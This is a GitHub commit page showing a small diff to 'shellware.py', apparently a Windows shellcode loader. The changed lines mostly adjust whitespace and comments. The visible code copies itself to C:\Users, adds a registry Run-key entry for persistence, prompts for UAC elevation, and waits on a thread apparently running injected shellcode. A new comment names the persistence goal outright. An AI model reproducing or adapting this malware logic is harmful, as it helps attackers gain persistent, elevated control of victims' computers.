Skip to content

Commit 17a2191

Browse files
author
NullArray
committed
Update shellware.py
1 parent 5729fa3 commit 17a2191

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

shellware.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -100,20 +100,21 @@ def execute():
100100
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
101101

102102
def main():
103-
103+
104104
dir = "C:\\Users\\"
105105
fileName = sys.argv[0]
106106
run = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
107107
autorun(dir, fileName, run)
108108
execute()
109109

110110

111-
111+
# Check to see if we're already copied to C:\Users, if so, we're going to assume
112+
# registry entry for persistence and copy to dir were succesful and not prompt UAC.
112113
if os.path.isfile("C:\Users\shellware.exe"):
113114
pass
114115
else:
115116
if not shell.IsUserAnAdmin():
116-
#Prompt UAC
117+
# Prompt UAC
117118
ASADMIN = "asadmin"
118119

119120
if sys.argv[-1] != ASADMIN:

0 commit comments

Comments
 (0)